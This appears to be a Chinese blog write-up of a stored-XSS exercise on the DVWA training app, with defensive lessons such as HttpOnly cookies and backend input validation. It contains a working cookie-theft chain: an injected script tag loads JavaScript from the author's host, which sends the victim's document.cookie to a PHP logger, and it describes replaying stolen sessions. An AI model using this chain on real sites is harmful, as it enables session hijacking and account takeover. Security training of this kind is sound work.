XSS(Cross-Site Scripting)大致分爲反射型和存儲型兩種,之前對XSS的認知僅停留在如果網站輸入框沒有屏蔽類似<script>alert('ok')</script>的代碼,那麼這個網站就有被XSS攻擊的風險,到底有什麼風險呢?又是怎麼被攻擊的呢?sorry,我也不知道>_<
我用DVWA來練習存儲型XSS,目標是竊取用戶賬號(通過拿到對方的登錄cookie)。我在本機再開一臺虛擬機,用虛擬機(模擬另一個用戶)訪問:http://IP地址/dvwa/vulnerabilities/xss_s/。這個頁面是不是很像留言或者評論頁面~
security level = low
1. 在本機登錄(模擬攻擊方),輸入時發現Name做了長度限制,而Message沒有,所以攻擊點在Message的輸入框
輸入:<script src="http://172.24.107.155/test.js"></script>
刷新一下當前頁面,剛插入的記錄仍然存在,說明惡意代碼已經被“存儲”在這個頁面了~
2. 在本機的php服務下放入js代碼文件和php文件。
js文件用來在被攻擊方採集cookie並傳入php頁面,php頁面將cookie存入名爲cookies的文件中。
test.js文件內容:
var img = document.createElement("img")
img.src = "http://本機ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);
test.php文件內容:
<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>
3. 在虛擬機登錄(模擬被攻擊方),訪問剛纔的頁面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻擊方也能看到剛纔上傳的那條記錄(此時js代碼已經被執行了..>_<..):
4. 獲得登錄憑證
攻擊方此時啥也不用再幹,守株待兔,等着js吧cookie發送到本機後,到剛纔放入test.js和test.php文件的地方,會發現多了一個名爲cookies的文件~
打開cookies文件,裏面記錄了被攻擊方的登陸cookie:
拿到對方的登錄憑證之後,我們就能通過構造http請求(把對方的cookie傳進去),以對方的身份操作網站,如果對方的是admin的話,Hmm......
security level = medium/high
medium和high模式下,對Message做了輸入過濾,對name只替換了<script>,並加上了長度限制,使用Burp Suite抓包把name的輸入改爲如下即可
一點點感悟:
1. 通過腳本讀取cookie其實很好防禦,加上HttpOnly就好了>_<
2. 參數的長度校驗前後端都要做,只做前端等於沒做。。。
如需轉載,請註明出處,這是對他人勞動成果的尊重~